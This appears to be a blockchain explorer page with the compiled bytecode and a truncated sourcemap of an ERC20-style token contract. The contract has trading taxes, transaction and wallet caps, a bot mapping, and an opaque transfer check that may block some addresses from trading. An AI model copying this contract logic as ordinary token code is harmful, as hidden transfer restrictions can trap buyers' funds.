630b4cf539739df2c5dacb4c659f2488d9081179091556105d19030906105c26009600a611719565b610421906461f313f880611727565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610621573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106459190611773565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c89190611773565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610712573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190611773565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107815760405162461bcd60e51b81526004016104599061173e565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107b8573d5f5f3e3d5ffd5b50565b5f61039e338484610ad0565b5f546001600160a01b031633146107f05760405162461bcd60e51b81526004016104599061173e565b601354600160a01b900460ff161561084a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610459565b6012546001600160a01b031663f305d719473061087b816001600160a01b03165f9081526001602052604090205490565b5f5f61088e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610919919061178e565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099291906117b9565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610459565b6001600160a01b038216610a6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610459565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610459565b6001600160a01b038216610b965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610459565b5f8111610bf75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610459565b601354600160b01b900460ff161580610c195750601354600160a81b900460ff165b15610cc3576001600160a01b0383165f90815260016020526040902054610c419082906117d8565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c709082906117eb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac39085815260200190565b5f610cda6003610cd48460016111d4565b90611259565b610ce5906003611727565b90505f610cf95f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2757505f546001600160a01b03858116911614155b8015610d4157506005546001600160a01b03858116911614155b1561105e576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d83575f5ffd5b600d545f03610db557610db26064610cd4600a54600d5411610da757600654610dab565b6008545b86906111d4565b90505b6013546001600160a01b038681169116148015610de057506012546001600160a01b03858116911614155b8015610e0457506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0757600e54831115610e5b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610459565b600f5483610e7d866001600160a01b03165f9081526001602052604090205490565b610e8791906117eb565b1115610ed55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610459565b610ef06064610cd4600a54600d5411610da757600654610dab565b600d80549192505f610f01836117fe565b91905055505b600954158015610f2e57506001600160a01b0385165f9081526004602052604090205460ff165b8015610f3a5750600854155b15610f7b57610f6d6032610f675f600d5411610f5857600654610dab565b600854600954610dab9161129a565b906111d4565b610f78906014611727565b91505b6013546001600160a01b038581169116148015610fa157506001600160a01b0385163014155b15610fce57610fcb6064610cd4600b54600d5411610fc157600754610dab565b60095486906111d4565b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561100457506013546001600160a01b038681169116145b80156110195750601354600160b01b900460ff165b80156110285750600c54600d54115b1561105c576010548111156110545761105461104f8561104a846011546112f8565b6112f8565b61130c565b61105c61147c565b505b80156110d657305f9081526001602052604090205461107d908261129a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cd9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110f890836114b2565b6001600160a01b0386165f9081526001602052604090205561113b61111d84836114b2565b6001600160a01b0386165f908152600160205260409020549061129a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61118486856114b2565b60405190815260200160405180910390a35050505050565b5f81848411156111bf5760405162461bcd60e51b8152600401610459919061151f565b505f6111cb84866117d8565b95945050505050565b5f825f036111e357505f6103a2565b5f6111ee8385611727565b9050826111fb8583611816565b146112525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610459565b9392505050565b5f61125283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f3565b5f806112a683856117eb565b9050838110156112525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610459565b5f8183116113065782611252565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135257611352611835565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113cd9190611773565b816001815181106113e0576113e0611835565b6001600160a01b03928316602091820292909201015260125461140691309116846109ac565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143e9085905f90869030904290600401611849565b5f604051808303815f87803b158015611455575f5ffd5b505af1158015611467573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107b8573d5f5f3e3d5ffd5b5f61125283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119c565b5f81836115135760405162461bcd60e51b8152600401610459919061151f565b505f6111cb8486611816565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107b8575f5ffd5b5f5f60408385031215611579575f5ffd5b823561158481611554565b946020939093013593505050565b5f5f5f606084860312156115a4575f5ffd5b83356115af81611554565b925060208401356115bf81611554565b929592945050506040919091013590565b5f602082840312156115e0575f5ffd5b813561125281611554565b5f5f604083850312156115fc575f5ffd5b823561160781611554565b9150602083013561161781611554565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116715780850481111561165557611655611622565b600184161561166357908102905b60019390931c92800261163a565b935093915050565b5f82611687575060016103a2565b8161169357505f6103a2565b81600181146116a957600281146116b3576116cf565b60019150506103a2565b60ff8411156116c4576116c4611622565b50506001821b6103a2565b5060208310610133831016604e8410600b84101617156116f2575081810a6103a2565b6116fe5f198484611636565b805f190482111561171157611711611622565b029392505050565b5f61125260ff841683611679565b80820281158282048414176103a2576103a2611622565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611783575f5ffd5b815161125281611554565b5f5f5f606084860312156117a0575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117c9575f5ffd5b81518015158114611252575f5ffd5b818103818111156103a2576103a2611622565b808201808211156103a2576103a2611622565b5f6001820161180f5761180f611622565b5060010190565b5f8261183057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118995783516001600160a01b0316835260209384019390920191600101611872565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220655886135f63bb94f8af0cb76dd7128598e60689f4c34a944b1b06cf9a3cc0eb64736f6c634300081b0033

Deployed Bytecode Sourcemap

3639:7865:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5970:83;;;;;;;;;;-1:-1:-1;6040:5:0;;;;;;;;;;;;-1:-1:-1;;;6040:5:0;;;;5970:83;;;;;;;:::i;:::-;;;;;;;;6801:161;;;;;;;;;;-1:-1:-1;6801:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6801:161:0;945:187:1;4727:51:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4727:51:0;1137:177:1;6247:95:0;;;;;;;;;;;;;:::i;6970:313::-;;;;;;;;;;-1:-1:-1;6970:313:0;;;;;:::i;:::-;;:::i;6156:83::-;;;;;;;;;;-1:-1:-1;6156:83:0;;4349:1;1974:36:1;;1962:2;1947:18;6156:83:0;1832:184:1;6350:117:0;;;;;;;;;;-1:-1:-1;6350:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6443:16:0;6416:7;6443:16;;;:7;:16;;;;;;;6350:117;1575:148;;;;;;;;;;;;;:::i;:::-;;10105:159;;;;;;;;;;;;;:::i;4541:53::-;;;;;;;;;;;;;;;;5570:392;;;;;;;;;;;;;:::i;1361:79::-;;;;;;;;;;-1:-1:-1;1399:7:0;1426:6;1361:79;;-1:-1:-1;;;;;1426:6:0;;;2419:51:1;;2407:2;2392:18;1361:79:0;2273:203:1;4601:55:0;;;;;;;;;;;;;;;;6061:87;;;;;;;;;;-1:-1:-1;6133:7:0;;;;;;;;;;;;-1:-1:-1;;;6133:7:0;;;;6061:87;;10901:109;;;;;;;;;;;;;:::i;6475:167::-;;;;;;;;;;-1:-1:-1;6475:167:0;;;;;:::i;:::-;;:::i;4663:57::-;;;;;;;;;;;;;;;;11018:483;;;;;;;;;;;;;:::i;6650:143::-;;;;;;;;;;-1:-1:-1;6650:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6758:18:0;;;6731:7;6758:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6650:143;6801:161;6876:4;6893:39;341:10;6916:7;6925:6;6893:8;:39::i;:::-;-1:-1:-1;6950:4:0;6801:161;;;;;:::o;6247:95::-;6300:7;4407:13;4349:1;4407:2;:13;:::i;:::-;4392:28;;:12;:28;:::i;:::-;6320:14;;6247:95;:::o;6970:313::-;7068:4;7085:36;7095:6;7103:9;7114:6;7085:9;:36::i;:::-;7132:121;7141:6;341:10;7163:89;7201:6;7163:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7163:19:0;;;;;;:11;:19;;;;;;;;341:10;7163:33;;;;;;;;;;:37;:89::i;:::-;7132:8;:121::i;:::-;-1:-1:-1;7271:4:0;6970:313;;;;;:::o;1575:148::-;1488:6;;-1:-1:-1;;;;;1488:6:0;341:10;1488:22;1480:67;;;;-1:-1:-1;;;1480:67:0;;;;;;;:::i;:::-;;;;;;;;;1682:1:::1;1666:6:::0;;1645:40:::1;::::0;-1:-1:-1;;;;;1666:6:0;;::::1;::::0;1645:40:::1;::::0;1682:1;;1645:40:::1;1713:1;1696:19:::0;;-1:-1:-1;;;;;;1696:19:0::1;::::0;;1575:148::o;10105:159::-;1488:6;;-1:-1:-1;;;;;1488:6:0;341:10;1488:22;1480:67;;;;-1:-1:-1;;;1480:67:0;;;;;;;:::i;:::-;4407:13:::1;4349:1;4407:2;:13;:::i;:::-;4392:28;::::0;:12:::1;:28;:::i;:::-;10158:12;:22:::0;4407:13:::1;4349:1;4407:2;:13;:::i;:::-;4392:28;::::0;:12:::1;:28;:::i;:::-;10191:14;:22:::0;10229:27:::1;4407:13;4349:1;4407:2;:13;:::i;:::-;4392:28;::::0;:12:::1;:28;:::i;:::-;10229:27;::::0;1283:25:1;;;1271:2;1256:18;10229:27:0::1;;;;;;;10105:159::o:0;5570:392::-;1488:6;;-1:-1:-1;;;;;1488:6:0;341:10;1488:22;1480:67;;;;-1:-1:-1;;;1480:67:0;;;;;;;:::i;:::-;5623:15:::1;:104:::0;;-1:-1:-1;;;;;;5623:104:0::1;5674:42;5623:104:::0;;::::1;::::0;;;5738:58:::1;::::0;5755:4:::1;::::0;4407:13:::1;4349:1;4407:2;:13;:::i;:::-;4392:28;::::0;:12:::1;:28;:::i;5738:58::-;5841:15;;;;;;;;;-1:-1:-1::0;;;;;5841:15:0::1;-1:-1:-1::0;;;;;5841:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5823:55:0::1;;5901:4;5921:15;;;;;;;;;-1:-1:-1::0;;;;;5921:15:0::1;-1:-1:-1::0;;;;;5921:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5823:131;::::0;-1:-1:-1;;;;;;5823:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5420:32:1;;;5823:131:0::1;::::0;::::1;5402:51:1::0;5489:32;;5469:18;;;5462:60;5375:18;;5823:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5807:13;:147:::0;;-1:-1:-1;;;;;;5807:147:0::1;-1:-1:-1::0;;;;;5807:147:0;;;::::1;::::0;;;::::1;::::0;;5570:392::o;10901:109::-;1488:6;;-1:-1:-1;;;;;1488:6:0;341:10;1488:22;1480:67;;;;-1:-1:-1;;;1480:67:0;;;;;;;:::i;:::-;1399:7;1426:6;;10954:48:::1;::::0;-1:-1:-1;;;;;1426:6:0;;;;10980:21:::1;10954:48:::0;::::1;;;::::0;10980:21;;10954:48;1399:7;10954:48;10980:21;1426:6;10954:48;::::1;;;;;;;;;;;;;;;;;;;;10901:109::o:0;6475:167::-;6553:4;6570:42;341:10;6594:9;6605:6;6570:9;:42::i;11018:483::-;1488:6;;-1:-1:-1;;;;;1488:6:0;341:10;1488:22;1480:67;;;;-1:-1:-1;;;1480:67:0;;;;;;;:::i;:::-;11080:11:::1;::::0;-1:-1:-1;;;11080:11:0;::::1;;;11079:12;11071:48;;;::::0;-1:-1:-1;;;11071:48:0;;5735:2:1;11071:48:0::1;::::0;::::1;5717:21:1::0;5774:2;5754:18;;;5747:30;5813:25;5793:18;;;5786:53;5856:18;;11071:48:0::1;5533:347:1::0;11071:48:0::1;11130:15;::::0;-1:-1:-1;;;;;11130:15:0::1;:31;11169:21;11214:4;11234:24;11214:4:::0;-1:-1:-1;;;;;6443:16:0;6416:7;6443:16;;;:7;:16;;;;;;;6350:117;11234:24:::1;11273:1;11289;11305:7;1399::::0;1426:6;-1:-1:-1;;;;;1426:6:0;;1361:79;11305:7:::1;11130:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11130:223:0;;;-1:-1:-1;;;;;6206:32:1;;;11130:223:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11327:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11130:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11371:13:0::1;::::0;11402:15:::1;::::0;11364:71:::1;::::0;-1:-1:-1;;;11364:71:0;;-1:-1:-1;;;;;11402:15:0;;::::1;11364:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11371:13:0;::::1;::::0;-1:-1:-1;11364:29:0::1;::::0;7101:18:1;;11364:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11446:11:0::1;:18:::0;;-1:-1:-1;;;;11475:18:0;-1:-1:-1;;;11475:18:0;;;11018:483::o;7291:335::-;-1:-1:-1;;;;;7384:19:0;;7376:68;;;;-1:-1:-1;;;7376:68:0;;7717:2:1;7376:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7376:68:0;7515:400:1;7376:68:0;-1:-1:-1;;;;;7463:21:0;;7455:68;;;;-1:-1:-1;;;7455:68:0;;8122:2:1;7455:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7455:68:0;7920:398:1;7455:68:0;-1:-1:-1;;;;;7534:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7586:32;;1283:25:1;;;7586:32:0;;1256:18:1;7586:32:0;;;;;;;;7291:335;;;:::o;7634:2357::-;-1:-1:-1;;;;;7722:18:0;;7714:68;;;;-1:-1:-1;;;7714:68:0;;8525:2:1;7714:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7714:68:0;8323:401:1;7714:68:0;-1:-1:-1;;;;;7801:16:0;;7793:64;;;;-1:-1:-1;;;7793:64:0;;8931:2:1;7793:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7793:64:0;8729:399:1;7793:64:0;7885:1;7876:6;:10;7868:64;;;;-1:-1:-1;;;7868:64:0;;9335:2:1;7868:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7868:64:0;9133:405:1;7868:64:0;7948:11;;-1:-1:-1;;;7948:11:0;;;;7947:12;;:22;;-1:-1:-1;7963:6:0;;-1:-1:-1;;;7963:6:0;;;;7947:22;7943:209;;;-1:-1:-1;;;;;8002:13:0;;;;;;:7;:13;;;;;;:22;;8018:6;;8002:22;:::i;:::-;-1:-1:-1;;;;;7986:13:0;;;;;;;:7;:13;;;;;;:38;;;;8053:11;;;;;;;:20;;8067:6;;8053:20;:::i;:::-;-1:-1:-1;;;;;8039:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8093:26;;;;;;;;;;8112:6;1283:25:1;;1271:2;1256:18;;1137:177;7943:209:0;8162:15;8180:22;8200:1;8180:15;:6;8191:3;8180:10;:15::i;:::-;:19;;:22::i;:::-;8178:24;;:1;:24;:::i;:::-;8162:40;;8203:14;8240:7;1399;1426:6;-1:-1:-1;;;;;1426:6:0;;1361:79;8240:7;-1:-1:-1;;;;;8232:15:0;:4;-1:-1:-1;;;;;8232:15:0;;;:32;;;;-1:-1:-1;1399:7:0;1426:6;-1:-1:-1;;;;;8251:13:0;;;1426:6;;8251:13;;8232:32;:52;;;;-1:-1:-1;8274:10:0;;-1:-1:-1;;;;;8268:16:0;;;8274:10;;8268:16;;8232:52;8228:1434;;;-1:-1:-1;;;;;8340:13:0;;;;;;;:9;:13;;;;;;;8319:10;;;;;8309:21;;;;:44;;-1:-1:-1;;8309:44:0;8340:13;;;;8339:14;8309:44;;;;;8301:53;;;;;;8372:9;;8383:1;8372:12;8369:136;;8413:76;8485:3;8413:67;8435:15;;8425:9;;:25;8424:55;;8465:14;;8424:55;;;8452:12;;8424:55;8413:6;;:10;:67::i;:76::-;8404:85;;8369:136;8531:13;;-1:-1:-1;;;;;8523:21:0;;;8531:13;;8523:21;:55;;;;-1:-1:-1;8562:15:0;;-1:-1:-1;;;;;8548:30:0;;;8562:15;;8548:30;;8523:55;:74;;;;-1:-1:-1;;;;;;8584:13:0;;;;;;:9;:13;;;;;;;;8582:15;8523:74;8519:408;;;8637:12;;8627:6;:22;;8619:60;;;;-1:-1:-1;;;8619:60:0;;10008:2:1;8619:60:0;;;9990:21:1;10047:2;10027:18;;;10020:30;10086:27;10066:18;;;10059:55;10131:18;;8619:60:0;9806:349:1;8619:60:0;8732:14;;8722:6;8706:13;8716:2;-1:-1:-1;;;;;6443:16:0;6416:7;6443:16;;;:7;:16;;;;;;;6350:117;8706:13;:22;;;;:::i;:::-;:40;;8698:79;;;;-1:-1:-1;;;8698:79:0;;10362:2:1;8698:79:0;;;10344:21:1;10401:2;10381:18;;;10374:30;10440:28;10420:18;;;10413:56;10486:18;;8698:79:0;10160:350:1;8698:79:0;8805:76;8877:3;8805:67;8827:15;;8817:9;;:25;8816:55;;8857:14;;8816:55;;8805:76;8900:9;:11;;8796:85;;-1:-1:-1;8900:9:0;:11;;;:::i;:::-;;;;;;8519:408;8944:13;;:16;:33;;;;-1:-1:-1;;;;;;8962:15:0;;;;;;:9;:15;;;;;;;;8944:33;:50;;;;-1:-1:-1;8979:12:0;;:15;8944:50;8941:152;;;9011:80;9088:2;9011:72;9033:1;9023:9;;:11;9022:60;;9068:14;;9022:60;;;9054:12;;9036:13;;:31;;:17;:31::i;9011:72::-;:76;;:80::i;:::-;9004:87;;9005:4;9004:87;:::i;:::-;8996:95;;8941:152;9116:13;;-1:-1:-1;;;;;9110:19:0;;;9116:13;;9110:19;:43;;;;-1:-1:-1;;;;;;9133:20:0;;9148:4;9133:20;;9110:43;9107:172;;;9184:79;9259:3;9184:70;9206:16;;9196:9;;:26;9195:58;;9238:15;;9195:58;;;9224:13;;9184:6;;:10;:70::i;:79::-;9175:88;;9107:172;9342:4;9293:28;6443:16;;;:7;:16;;;;;;9368:6;;-1:-1:-1;;;9368:6:0;;;;9367:7;:30;;;;-1:-1:-1;9384:13:0;;-1:-1:-1;;;;;9378:19:0;;;9384:13;;9378:19;9367:30;:45;;;;-1:-1:-1;9401:11:0;;-1:-1:-1;;;9401:11:0;;;;9367:45;:79;;;;;9428:18;;9416:9;;:30;9367:79;9363:288;;;9493:17;;9470:20;:40;9467:135;;;9533:69;9550:51;9554:6;9562:38;9566:20;9588:11;;9562:3;:38::i;:::-;9550:3;:51::i;:::-;9533:16;:69::i;:::-;9621:14;:12;:14::i;:::-;8286:1376;8228:1434;9675:8;;9672:149;;9736:4;9720:22;;;;:7;:22;;;;;;:34;;9747:6;9720:26;:34::i;:::-;9713:4;9697:22;;;;:7;:22;;;;;;;:57;;;;9772:37;;-1:-1:-1;;;;;9772:37:0;;;;;;;9802:6;1283:25:1;;1271:2;1256:18;;1137:177;9772:37:0;;;;;;;;9672:149;-1:-1:-1;;;;;9845:13:0;;;;;;:7;:13;;;;;;:26;;9863:7;9845:17;:26::i;:::-;-1:-1:-1;;;;;9831:13:0;;;;;;:7;:13;;;;;:40;9894:35;9910:18;:6;9921;9910:10;:18::i;:::-;-1:-1:-1;;;;;9894:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;9882:11:0;;;;;;;:7;:11;;;;;:47;;;;9945:38;;;9964:18;:6;9975;9964:10;:18::i;:::-;9945:38;;1283:25:1;;;1271:2;1256:18;9945:38:0;;;;;;;7703:2288;;7634:2357;;;:::o;2849:190::-;2935:7;2971:12;2963:6;;;;2955:29;;;;-1:-1:-1;;;2955:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2995:9:0;3007:5;3011:1;3007;:5;:::i;:::-;2995:17;2849:190;-1:-1:-1;;;;;2849:190:0:o;3047:246::-;3105:7;3129:1;3134;3129:6;3125:47;;-1:-1:-1;3159:1:0;3152:8;;3125:47;3182:9;3194:5;3198:1;3194;:5;:::i;:::-;3182:17;-1:-1:-1;3227:1:0;3218:5;3222:1;3182:17;3218:5;:::i;:::-;:10;3210:56;;;;-1:-1:-1;;;3210:56:0;;11079:2:1;3210:56:0;;;11061:21:1;11118:2;11098:18;;;11091:30;11157:34;11137:18;;;11130:62;-1:-1:-1;;;11208:18:1;;;11201:31;11249:19;;3210:56:0;10877:397:1;3210:56:0;3284:1;3047:246;-1:-1:-1;;;3047:246:0:o;3301:132::-;3359:7;3386:39;3390:1;3393;3386:39;;;;;;;;;;;;;;;;;:3;:39::i;2518:179::-;2576:7;;2608:5;2612:1;2608;:5;:::i;:::-;2596:17;;2637:1;2632;:6;;2624:46;;;;-1:-1:-1;;;2624:46:0;;11481:2:1;2624:46:0;;;11463:21:1;11520:2;11500:18;;;11493:30;11559:29;11539:18;;;11532:57;11606:18;;2624:46:0;11279:351:1;9999:98:0;10056:7;10083:1;10081;:3;10080:9;;10088:1;10080:9;;;-1:-1:-1;10086:1:0;9999:98;-1:-1:-1;9999:98:0:o;10373:483::-;5180:6;:13;;-1:-1:-1;;;;5180:13:0;-1:-1:-1;;;5180:13:0;;;10475:16:::1;::::0;;10489:1:::1;10475:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10475:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10475:16:0::1;10451:40;;10520:4;10502;10507:1;10502:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10502:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10546:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10546:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10502:7;;10546:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10536:4;10541:1;10536:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10536:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10611:15:::1;::::0;10579:62:::1;::::0;10596:4:::1;::::0;10611:15:::1;10629:11:::0;10579:8:::1;:62::i;:::-;10652:15;::::0;:196:::1;::::0;-1:-1:-1;;;10652:196:0;;-1:-1:-1;;;;;10652:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10733:11;;10652:15:::1;::::0;10775:4;;10802::::1;::::0;10822:15:::1;::::0;10652:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5216:6:0;:14;;-1:-1:-1;;;;5216:14:0;;;-1:-1:-1;;;;10373:483:0:o;10272:93::-;10315:10;;:42;;-1:-1:-1;;;;;10315:10:0;;;;10335:21;10315:42;;;;;:10;:42;:10;:42;10335:21;10315:10;:42;;;;;;;;;;;;;;;;;;;2705:136;2763:7;2790:43;2794:1;2797;2790:43;;;;;;;;;;;;;;;;;:3;:43::i;3441:189::-;3527:7;3562:12;3555:5;3547:28;;;;-1:-1:-1;;;3547:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3586:9:0;3598:5;3602:1;3598;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455: